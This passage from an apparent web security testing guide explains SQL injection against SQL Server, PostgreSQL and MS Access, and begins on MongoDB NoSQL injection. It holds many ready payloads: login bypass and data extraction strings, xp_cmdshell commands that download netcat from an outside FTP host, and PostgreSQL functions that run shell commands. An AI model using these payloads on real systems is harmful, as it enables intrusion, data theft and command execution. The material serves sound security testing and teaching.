In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function `db_name()` to trigger an error that will return the name of the database:

```
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
```

Notice the use of [\[convert\]](#):

```
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
```

`CONVERT` will try to convert the result of `db_name` (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable `@@version`, combined with a "union select"-style injection, in order to find the version of the SQL Server.

```
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
```

And here's the same attack, but using again the conversion trick:

```
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
```

Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.

Example 1: Testing for SQL Injection in a GET request.

The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "" or '1='1" (without double quotes):

```
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
```

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

Example 2: Testing for SQL Injection in a GET request

In order to learn how many columns exist

```
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
```

Example 3: Testing in a POST request

SQL Injection, HTTP POST Content: `email=%27&whichSubmit=submit&submit.x=0&submit.y=0`

A complete post example:

```
POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50<br>
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
```

The error message obtained when a ' (single quote) character is entered at the email field is:

```
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string * '.
/forgotpass.asp, line 15
```

Example 4: Yet another (useful) GET example

Obtaining the application's source code

```
a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
```

Example 5: custom xp_cmdshell

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.

On SQL Server 2000:

- If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:

```
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
```

- If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:

```
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
```

```

IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result

```

This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:

```

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

```

Example 6: Referrer / User-Agent

The REFERER header set to:

```
Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
```

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

```
User-Agent: user_agent', 'some_ip'); [SQL CODE]--
```

Example 7: SQL Server as a port scanner

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:

```
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5', 'select 1')--
```

This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:

```
SQL Server does not exist or access denied
```

On the other hand, if the port is open, one of the following errors will be returned:

```
General network error. Check your network documentation
```

```
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
```

Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return

the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.

Example 8: Upload of executables

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:

```
exec master..xp_cmdshell 'echo open ftp.testers.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
```

At this point, nc.exe will be uploaded and available.

If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:

```
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
```

At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).

Obtain information when it is not displayed (Out of band)

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [Blind SQL Injection](#)). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are described in Sample 4 above.

Blind SQL injection attacks

Trial and error

Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use [fuzz vectors](#) against this channel and watch the response. For example, if the web application is looking for a book using a query

```
select * from books where title=text entered by the user
```

then the penetration tester might enter the text: **'Bomba' OR 1=1-** and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later *play* with the queries in order to assess the criticality of this vulnerability.

If more than one error message is displayed

On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any *covert channel*. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

- In some cases the web application (actually the web server) might return the traditional *500: Internal Server Error*, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.
- While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers *Internal server error* or *bad data*.

This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.

Timing attacks

There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in (2)] from where we take the next examples. A typical approach uses the *waitfor delay* command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

```
if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
```

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a **SQL injection vulnerability** and a **covert channel** that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

```
declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'
```

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

```
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
```

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will be able to extract the whole piece of information.

However, it might happen that the command *waitfor* is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

```
declare @i int select @i = 0
while @i < 0xffff begin
select @i = @i + 1
end
```

Checking for version and vulnerabilities

The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

```
select @@version
```

On SQL Server 2005, it will return something like the following:

```
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>
```

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

```
if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'
```

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.

Example 9: bruteforce of sysadmin password

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server. Combining these features with an inferred injection based on response timing, we can inject the following code:

```
select * from OPENROWSET('SQLOLEDB',*;'sa';'<pwd>', 'select 1;waitfor delay *0:0:5* ')
```

What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.

Once we have the sysadmin password, we have two choices:

- Inject all following queries using OPENROWSET, in order to use sysadmin privileges
- Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferred injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.

Tools

- Francois Larouche: Multiple DBMS SQL Injection tool - [[SQL Power Injector](#)]
- Northern Monkee: [[Bobcat](#)]
- icesurfer: SQL Server Takeover Tool - [[sqlninja](#)]
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - <http://sqlmap.org/>

References

Whitepapers

- David Litchfield: "Data-mining with SQL Injection and Inference" - <http://www.databasesecurity.com/webapps/sqlinference.pdf>
- Chris Anley, "(more) Advanced SQL Injection" - http://www.enuption.co.uk/downloads/more_advanced_sql_injection.pdf
- Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - <http://www.unixwiz.net/techtips/sql-injection.html>
- Alexander Chigrik: "Useful undocumented extended stored procedures" - <http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm>
- Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
- Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - <http://msdn.microsoft.com/en-us/magazine/cc163917.aspx>
- SQL Injection - <http://msdn2.microsoft.com/en-us/library/ms161953.aspx>
- Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS

Testing PostgreSQL (from OWASP BSP)

Summary

In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:

- PHP Connector allows multiple statements to be executed by using ; as a statement separator
- SQL Statements can be truncated by appending the comment char: --.
- *LIMIT* and *OFFSET* can be used in a *SELECT* statement to retrieve a portion of the result set generated by the *query*

From now on it is assumed that <http://www.example.com/news.php?id=1> is vulnerable to SQL Injection attacks.

How to Test

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

```
http://www.example.com/store.php?id=1 AND 1::int=1
```

In addition, the function *version()* can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

Example:

```
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
```

An example of a banner string that could be returned is:

```
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
```

Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

- String Length
 - *LENGTH(str)*
- Extract a substring from a given string
 - *SUBSTR(str,index,offset)*
- String representation with no single quotes
 - *CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)*

Starting at version 8.2, PostgreSQL introduced a built-in function, *pg_sleep(n)*, to make the current session process sleep for *n* seconds. This function can be leveraged to execute timing attacks (discussed in detail at [Blind SQL Injection](#)).

In addition, you can easily create a custom `pg_sleep(n)` in previous versions by using `libc`:

- `CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT`

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using `chr()` function.

- `chr(n)`: Returns the character whose ASCII value corresponds to the number `n`
- `ascii(n)`: Returns the ASCII value which corresponds to the character `n`

Let's say you want to encode the string 'root':

```
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
```

We can encode 'root' as:

```
chr(114)||chr(111)||chr(111)||chr(116)
```

Example:

```
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
```

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

```
SELECT user
SELECT current_user
SELECT session_user
SELECT username FROM pg_user
SELECT getpgusername()
```

Examples:

```
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
```

Current Database

The built-in function `current_database()` returns the current database name.

Example:

```
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
```

Reading from a file

PostgreSQL provides two ways to access a local file:

- COPY statement
- `pg_read_file()` internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the *postgres* user.

Example:

```
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
```

Data should be retrieved by performing a *UNION Query SQL Injection*:

- retrieves the number of rows previously added in *file_store* with *COPY* statement
- retrieves a row at a time with UNION SQL Injection

Example:

```
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
```

pg_read_file():

This function was introduced in *PostgreSQL 8.1* and allows one to read arbitrary files located inside DBMS data directory.

Examples:

- `SELECT pg_read_file('server.key',0,1000);`

Writing to a file

By reverting the COPY statement, we can write to the local file system with the *postgres* user rights

```
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
```

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with *libc*:

- `CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT`

Since *system* returns an *int* how we can fetch results from *system* stdout?

Here's a little trick:

- create a *stdout* table
 - `CREATE TABLE stdout(id serial, system_out text)`
- executing a shell command redirecting its *stdout*
 - `SELECT system('uname -a > /tmp/test')`
- use a *COPY* statements to push output of previous command in *stdout* table
 - `COPY stdout(system_out) FROM '/tmp/test'`
- retrieve output from *stdout*
 - `SELECT system_out FROM stdout`

Example:

```
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
```

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by *CREATELANG*

- Check if PL/Python has been enabled on a database:
 - `SELECT count() FROM pg_language WHERE lanname='plpythonu'`
- If not, try to enable:
 - `CREATE LANGUAGE plpythonu`
- If either of the above succeeded, create a proxy shell function:
 - `CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu`
- Have fun with:
 - `SELECT proxyshell(os command);`

Example:

- Create a proxy shell function:

```
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
```

- Run an OS Command:

```
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
```

plperl

PLperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as *open*. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the *postgres* user, to avoid the so-called application mask filtering of trusted/untrusted operations.

- Check if PL/perl-untrusted has been enabled:
 - `SELECT count() FROM pg_language WHERE lanname='plperl'`
- If not, assuming that sysadm has already installed the plperl package, try :
 - `CREATE LANGUAGE plperl`
- If either of the above succeeded, create a proxy shell function:
 - `CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("","<FD>'); LANGUAGE plperl`
- Have fun with:
 - `SELECT proxyshell(os command);`

Example:

- Create a proxy shell function:
 - `/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("","<FD>'); LANGUAGE plperl;`
- Run an OS Command:
 - `/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--`

References

- OWASP : "[Testing for SQL Injection](#))"
- OWASP : [SQL Injection Prevention Cheat Sheet](#)
- PostgreSQL : "Official Documentation" - <http://www.postgresql.org/docs/>
- Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - <http://sqlmap.sourceforge.net>

MS Access Testing

Summary

As explained in the generic [SQL injection](#) section, SQL injection vulnerabilities occur whenever user-supplied input is used during the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used to connect to the database. In this section, relevant SQL injection techniques that utilize specific features of [Microsoft Access](#) will be discussed.

How to Test

Fingerprinting

Fingerprinting the specific database technology while testing SQL-powered application is the first step to properly assess potential vulnerabilities. A common approach involves injecting standard SQL injection attack patterns (e.g. single quote, double quote, ...) in order to trigger database exceptions. Assuming that the application does not handle exceptions with custom pages, it is possible to fingerprint the underlying DBMS by observing error messages.

Depending on the specific web technology used, MS Access driven applications will respond with one of the following errors:

```
Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine
```

or

```
Microsoft JET Database Engine error '80040e14'
```

or

```
Microsoft Office Access Database Engine
```

In all cases, we have a confirmation that we're testing an application using MS Access database.

Basic Testing

Unfortunately, MS Access doesn't support typical operators that are traditionally used during SQL injection testing, including:

- No comments characters
- No stacked queries
- No LIMIT operator
- No SLEEP or BENCHMARK alike operators
- and many others

Nevertheless, it is possible to emulate those functions by combining multiple operators or by using alternative techniques. As mentioned, it is not possible to use the trick of inserting the characters `/*`, `--` or `#` in order to truncate the query. However, we can fortunately bypass this limitation by injecting a 'null' character. Using a null byte `%00` within a SQL query results in MS Access ignoring all remaining characters. This can be explained by considering that all strings are NULL

terminated in the internal representation used by the database. It is worth mentioning that the 'null' character can sometimes cause troubles too as it may truncate strings at the web server level. In those situations, we can however employ another character: 0x16 (%16 in URL encoded format).

Considering the following query:

```
SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'
```

We can truncate the query with the following two URLs:

```
http://www.example.com/page.asp?user=admin'%00&pass=foo
http://www.example.com/page.app?user=admin'%16&pass=foo
```

The `LIMIT` operator is not implemented in MS Access, however it is possible to limit the number of results by using the `TOP` or `LAST` operators instead.

```
http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00
```

By combining both operators, it is possible to select specific results. String concatenation is possible by using `&` (%26) and `+` (%2b) characters.

There are also many other functions that can be used while testing SQL injection, including but not limited to:

- `ASC`: Obtain the ASCII value of a character passed as input
- `CHR`: Obtain the character of the ASCII value passed as input
- `LEN`: Return the length of the string passed as parameter
- `IIF`: Is the IF construct, for example the following statement `IIF(1=1, 'a', 'b')` return 'a'
- `MID`: This function allows you to extract substring, for example the following statement `mid('abc',1,1)` return 'a'
- `TOP`: This function allows you to specify the maximum number of results that the query should return from the top. For example `TOP 1` will return only 1 row.
- `LAST`: This function is used to select only the last row of a set of rows. For example the following query `SELECT last(*) FROM users` will return only the last row of the result.

Some of these operators are essential to exploit blind SQL injections. For other advanced operators, please refer to the documents in the references.

Attributes Enumeration

In order to enumerate the column of a database table, it is possible to use a common error-based technique. In short, we can obtain the attributes name by analyzing error messages and repeating the query with different selectors. For example, assuming that we know the existence of a column, we can also obtain the name of the remaining attributes with the following query:

```
' GROUP BY Id%00
```

In the error message received, it is possible to observe the name of the next column. At this point, we can iterate the method until we obtain the name of all attributes. If we don't know the name of the first attribute, we can still insert a fictitious column name and obtain the name of the first attribute within the error message.

Obtaining Database Schema

Various system tables exist by default in MS Access that can be potentially used to obtain table names and columns. Unfortunately, in the default configuration of recent MS Access database releases, these tables are not accessible. Nevertheless, it is always worth trying:

- MSysObjects
- MSysACEs
- MSysAccessXML

For example, if a union SQL injection vulnerability exists, you can use the following query:

```
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
```

Alternatively, it is always possible to bruteforce the database schema by using a standard wordlist (e.g. [FuzzDb](#)).

In some cases, developers or system administrators do not realize that including the actual *.mdb* file within the application webroot can allow to download the entire database. Database filenames can be inferred with the following query:

```
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
```

where `name` is the *.mdb* filename and `table` is a valid database table. In case of password protected databases, multiple software utilities can be used to crack the password. Please refer to the references.

Blind SQL Injection Testing

[Blind SQL Injection](#) vulnerabilities are by no means the most easily exploitable SQL injections while testing real-life applications. In case of recent versions of MS Access, it is also not feasible to execute shell commands or read/write arbitrary files.

In case of blind SQL injections, the attacker can only infer the result of the query by evaluating time differences or application responses. It is supposed that the reader already knows the theory behind blind SQL injection attacks, as the remaining part of this section will focus on MS Access specific details.

The following example is used:

```
http://www.example.com/index.php?myId=[sql]
```

where the `id` parameter is used within the following query:

```
SELECT * FROM orders WHERE [id]=$myId
```

Let's consider the `myId` parameter vulnerable to blind SQL injection. As an attacker, we want to extract the content of column 'username' in the table 'users', assuming that we have already disclosed the database schema.

A typical query that can be used to infer the first character of the username of the 10th rows is:

```
http://www.example.com/index.php?id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20fr
```

If the first character is 'a', the query will return 0 or otherwise the string 'no'.

By using a combination of the IFF, MID, LAST and TOP functions, it is possible to extract the first character of the username on a specifically selected row. As the inner query returns a set of records, and not just one, it is not possible to use it directly. Fortunately, we can combine multiple functions to extract a specific string.


Let's assume that we want to retrieve the username of the 10th row. First, we can use the TOP function to select the first ten rows using the following query:

```
SELECT TOP 10 username FROM users
```

Then, using this subset, we can extract the last row by using the LAST function. Once we have only one row and exactly the row containing our string, we can use the IFF, MID and LAST functions to infer the actual value of the username. In our example, we employ IFF to return a number or a string. Using this trick, we can distinguish whether we have a true response or not, by observing application error responses. As `id` is numeric, the comparison with a string results in a SQL error that can be potentially leaked by `500 Internal Server Error` pages. Otherwise, a standard `200 OK` page will be likely returned.

For example, we can have the following query:

```
http://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20
```



that is TRUE if the first character is 'a' or false otherwise.

As mentioned, this method allows to infer the value of arbitrary strings within the database:

1. By trying all printable values, until we find a match
2. By inferring the length of the string using the LEN function, or by simply stopping after we have found all characters

Time-based blind SQL injections are also possible by abusing [heavy queries](#).

References

- <http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html>
- <http://packetstormsecurity.com/files/65967/Access-Through-Access.pdf.html>
- <http://seclists.org/pen-test/2003/May/74>
- http://www.techonthenet.com/access/functions/index_alpha.php
- http://en.wikipedia.org/wiki/Microsoft_Access

Testing for NoSQL injection

Summary

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.

NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as `< > & ;` will not prevent attacks against a JSON API, where special characters include `/ { } : .`

There are now over 150 NoSQL databases available[<http://nosql-database.org/>] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing. At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.

How to Test

Testing for NoSQL injection vulnerabilities in MongoDB:

The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[<http://docs.mongodb.org/manual/faq/developers/#javascript>] The most commonly used API call allowing arbitrary JavaScript input is the \$where operator.

The MongoDB \$where operator typically is used as a simple filter or check, as it is within SQL.

```
db.myCollection.find( { $where: "this.credits == this.debits" } );
```

Optionally JavaScript is also evaluated to allow more advanced conditions.

```
db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );
```

Example 1

If an attacker were able to manipulate the data passed into the `$where` operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.

```
db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );
```

As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.

```
' " \ ; { }
```

With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.

This input `0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)` inserted into `$userInput` in the above example code would result in the following JavaScript function being executed. This specific attack string would cause the entire MongoDB instance to execute at 100% CPU usage for 10 second.

```
function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }
```

Example 2

Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.

